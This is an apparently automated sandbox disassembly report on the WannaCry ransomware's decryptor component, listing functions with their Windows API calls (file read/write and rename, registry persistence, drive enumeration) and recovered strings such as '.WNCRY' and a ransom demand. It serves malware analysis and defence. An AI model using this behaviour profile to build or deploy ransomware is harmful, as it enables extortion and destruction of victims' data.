Function 00406DC0, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103

APIs

SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
#823.MFC42(00000001,?,?), ref: 00406DEC
SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
_strnicmp.MSVCRT ref: 00406E3E
_strnicmp.MSVCRT ref: 00406E5A
SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
#6136.MFC42 ref: 00406EC4
#825.MFC42(?), ref: 00406ED7

Strings

T, xrefs: 00406EB4
<http://, xrefs: 00406E35
<https://, xrefs: 00406E51

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00402560, Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 81

APIs

wcscpy.MSVCRT ref: 0040257D
wcsrchr.MSVCRT ref: 0040258A
_wcsicmp.MSVCRT ref: 004025A5
_wcsicmp.MSVCRT ref: 004025B4
wcscat.MSVCRT ref: 004025D3

Part of subcall function 004020A0: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00402127
Part of subcall function 004020A0: GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 0040216E
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021A5
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004021DC
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021FA
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 00402218
Part of subcall function 004020A0: CloseHandle.KERNEL32(00000000), ref: 00402234
Part of subcall function 004020A0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 0040224D
Part of subcall function 004020A0: SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00402289
Part of subcall function 004020A0: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0040230F
Part of subcall function 004020A0: ReadFile.KERNEL32(00000000,?,00100000,?,00000000), ref: 004023F3
Part of subcall function 004020A0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00402436
Part of subcall function 004020A0: _local_unwind2.MSVCRT ref: 00402452
Part of subcall function 004020A0: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040248A
Part of subcall function 004020A0: SetEndOfFile.KERNEL32(00000000), ref: 00402491
Part of subcall function 004020A0: SetFileTime.KERNEL32(00000000,?,?,?), ref: 004024AD
Part of subcall function 004020A0: CloseHandle.KERNEL32(00000000), ref: 004024BD
Part of subcall function 004020A0: MoveFileW.KERNEL32(?,?), ref: 004024DA
Part of subcall function 004020A0: _local_unwind2.MSVCRT ref: 00402511

DeleteFileW.KERNEL32(?), ref: 004025F0
MoveFileW.KERNEL32(?,?), ref: 00402604
DeleteFileW.KERNEL32(?), ref: 0040262E

Strings

.WNCYR, xrefs: 004025AE
.org, xrefs: 004025CD
.WNCRY, xrefs: 0040259F

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040C240, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 195

APIs

Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
Part of subcall function 0040BED0: GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
Part of subcall function 0040BED0: GetUserNameA.ADVAPI32 ref: 0040BFF5

SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3

Part of subcall function 0040DC00: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040DC9E
Part of subcall function 0040DC00: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040DCAD

SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
fopen.MSVCRT ref: 0040C46B
fwrite.MSVCRT ref: 0040C489
fclose.MSVCRT ref: 0040C48F
SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9

Strings

@k, xrefs: 0040C37D, 0040C399, 0040C3B9, 0040C3F0, 0040C429, 0040C4AB

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00413102, Relevance: 16.6, APIs: 11, Instructions: 111

APIs

__set_app_type.MSVCRT ref: 0041312F
__p__fmode.MSVCRT ref: 00413144
__p__commode.MSVCRT ref: 00413152
__setusermatherr.MSVCRT ref: 0041317E

Part of subcall function 004133B2: _controlfp.MSVCRT ref: 004133BC

_initterm.MSVCRT ref: 00413194
__getmainargs.MSVCRT ref: 004131B7
_initterm.MSVCRT ref: 004131C7
GetStartupInfoA.KERNEL32(?), ref: 00413206
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0041322A

Part of subcall function 004133E6: #1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6

exit.MSVCRT ref: 0041323A
_XcptFilter.MSVCRT ref: 0041324C

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401C70, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 114

APIs

wcscat.MSVCRT ref: 00401CC1
RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
RegQueryValueExA.ADVAPI32 ref: 00401D81
SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
RegCloseKey.ADVAPI32(00000000), ref: 00401DA3

Strings

Software\, xrefs: 00401C7F
WanaCrypt0r, xrefs: 00401CAA

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404280, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51

APIs

#6663.MFC42(mailto:,00000000,?), ref: 004042AC
GetParent.USER32(?), ref: 004042BB
#2864.MFC42(00000000), ref: 004042C2
SendMessageA.USER32(?,00001388,?,?), ref: 004042D5
#2379.MFC42 ref: 004042DD
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 004042F7
#2379.MFC42(?), ref: 004042FF

Part of subcall function 00404530: #289.MFC42 ref: 0040455F
Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
Part of subcall function 00404530: #613.MFC42 ref: 004045BB

Strings

open, xrefs: 004042F0
mailto:, xrefs: 004042A5

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004038F0, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84

APIs

Part of subcall function 00403EB0: #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
Part of subcall function 00403EB0: #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
Part of subcall function 00403EB0: #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
Part of subcall function 00403EB0: #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
Part of subcall function 00403EB0: #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
Part of subcall function 00403EB0: #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040392C
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00403946
sprintf.MSVCRT ref: 0040397A

Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000,?), ref: 00402055
Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000), ref: 0040206D

Part of subcall function 00403A20: GetLogicalDrives.KERNEL32 ref: 00403A35
Part of subcall function 00403A20: GetDriveTypeW.KERNEL32 ref: 00403A7A
Part of subcall function 00403A20: GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95

#1200.MFC42(All your files have been decrypted!,00000040,00000000,?,00000000,?), ref: 004039C8

Part of subcall function 00403AF0: fopen.MSVCRT ref: 00403B17
Part of subcall function 00403AF0: fgets.MSVCRT ref: 00403BD1
Part of subcall function 00403AF0: fclose.MSVCRT ref: 00403C62

CloseHandle.KERNEL32(?), ref: 004039F1

Strings

All your files have been decrypted!, xrefs: 004039C3
Pay now, if you want to decrypt ALL your files!, xrefs: 004039A7
%08X.dky, xrefs: 00403969

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404090, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55

APIs

#567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
#540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
#540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
#860.MFC42(00421798), ref: 004040F6
#858.MFC42(00000000,00421798), ref: 004040FE
LoadCursorA.USER32(00000000,00007F89), ref: 00404118
LoadCursorA.USER32(00000000,00007F00), ref: 00404123

Strings

0ZA, xrefs: 004040DD

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407CB0, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40

APIs

Part of subcall function 004030E0: #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131

#2514.MFC42 ref: 00407CE5
#2414.MFC42 ref: 00407D1A
#2414.MFC42 ref: 00407D4F
#616.MFC42 ref: 00407D6E
#693.MFC42 ref: 00407D7F
#641.MFC42 ref: 00407D93

Strings

[A, xrefs: 00407D26
[A, xrefs: 00407D5B

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004085C0, Relevance: 13.6, APIs: 9, Instructions: 75

APIs

#567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
#341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
GetSysColor.USER32 ref: 0040861D
GetSysColor.USER32(00000009), ref: 00408624
GetSysColor.USER32(00000012), ref: 0040862B
GetSysColor.USER32(00000002), ref: 00408632
SystemParametersInfoA.USER32(00001008,00000000,00000000,00000000), ref: 0040864A
GetSysColor.USER32(0000001B), ref: 0040865C
#6140.MFC42(00000002,000000FF), ref: 00408667

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040C060, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138

APIs

Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
Part of subcall function 0040BED0: GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
Part of subcall function 0040BED0: GetUserNameA.ADVAPI32 ref: 0040BFF5

SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE

Strings

@k, xrefs: 0040C116, 0040C133, 0040C154, 0040C18B, 0040C1C4, 0040C200

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401A90, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68

APIs

CreateProcessA.KERNEL32 ref: 00401AE3
WaitForSingleObject.KERNEL32(?,?), ref: 00401AFB
TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
CloseHandle.KERNEL32(?), ref: 00401B31
CloseHandle.KERNEL32(?), ref: 00401B38

Strings

D, xrefs: 00401AA0

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401140, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49

APIs

#4710.MFC42 ref: 00401145
SendMessageA.USER32(?,00000404,00000001,00000000), ref: 00401160
SendMessageA.USER32(?,00000401,00000000,00280000), ref: 00401175
#537.MFC42(Connecting to server...), ref: 0040118D

Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF

SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004011B3
CreateThread.KERNEL32(00000000,00000000,004012D0,?,00000000,00000000), ref: 004011D1

Strings

Connecting to server..., xrefs: 00401188

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040B3C0, Relevance: 12.2, APIs: 8, Instructions: 203

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8

Part of subcall function 0040ADC0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040ADD9
Part of subcall function 0040ADC0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040ADE9

??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5

Part of subcall function 0040B0C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B0D9
Part of subcall function 0040B0C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B0E9

??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407C30, Relevance: 12.0, APIs: 8, Instructions: 48

APIs

OpenClipboard.USER32(?), ref: 00407C38
GlobalAlloc.KERNEL32(00000002,?), ref: 00407C4F
CloseClipboard.USER32 ref: 00407C5B
EmptyClipboard.USER32 ref: 00407C66
GlobalLock.KERNEL32(00000000), ref: 00407C79
GlobalUnlock.KERNEL32(00000000), ref: 00407C92
SetClipboardData.USER32(00000001,00000000), ref: 00407C9B
CloseClipboard.USER32 ref: 00407CA1

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00402F10, Relevance: 10.6, APIs: 7, Instructions: 139

APIs

?_Xran@std@@YAXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F6E
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F76
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 00402FAD
?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 00402FBA
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00402FC2
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402FF9
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 0040303A

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00407F80, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101

APIs

fopen.MSVCRT ref: 00407FBD
fread.MSVCRT ref: 00407FDD
fclose.MSVCRT ref: 00407FE4

Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE

Part of subcall function 0040C4F0: strncpy.MSVCRT ref: 0040C628

Part of subcall function 00401A10: fopen.MSVCRT ref: 00401A2B
Part of subcall function 00401A10: fread.MSVCRT ref: 00401A4B
Part of subcall function 00401A10: fwrite.MSVCRT ref: 00401A58
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A66
Part of subcall function 00401A10: fclose.MSVCRT ref: 00401A74

Strings

+++, xrefs: 00408011, 00408035
00000000.res, xrefs: 00407FB6
s.wnry, xrefs: 00407FF8

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401220, Relevance: 10.6, APIs: 7, Instructions: 53

APIs

SendMessageA.USER32(?,00000402,00000028,00000000), ref: 00401253
KillTimer.USER32(?,000003E9), ref: 0040125E
#4853.MFC42 ref: 00401266
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 0040127B
SendMessageA.USER32(?,00000405,00000000,00000000), ref: 00401295
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 004012B1
#2379.MFC42 ref: 004012C4

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00403860, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040387A
#1200.MFC42(Please select a host to decrypt.,00000000,00000000), ref: 0040388A
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 0040389F
SendMessageA.USER32(?,00001009,00000000,00000000), ref: 004038B5
CreateThread.KERNEL32(00000000,00000000,004038E0,?,00000000,00000000), ref: 004038C5

Strings

Please select a host to decrypt., xrefs: 00403885

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004044C0, Relevance: 10.5, APIs: 7, Instructions: 38

APIs

GetParent.USER32(?), ref: 004044D2
#2864.MFC42(00000000), ref: 004044D9
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
#2860.MFC42(00000000), ref: 004044EF
GetObjectA.GDI32(?,0000003C,?), ref: 00404503
CreateFontIndirectA.GDI32(?), ref: 00404513
#1641.MFC42(00000000), ref: 0040451D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040A150, Relevance: 9.4, APIs: 6, Instructions: 375

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

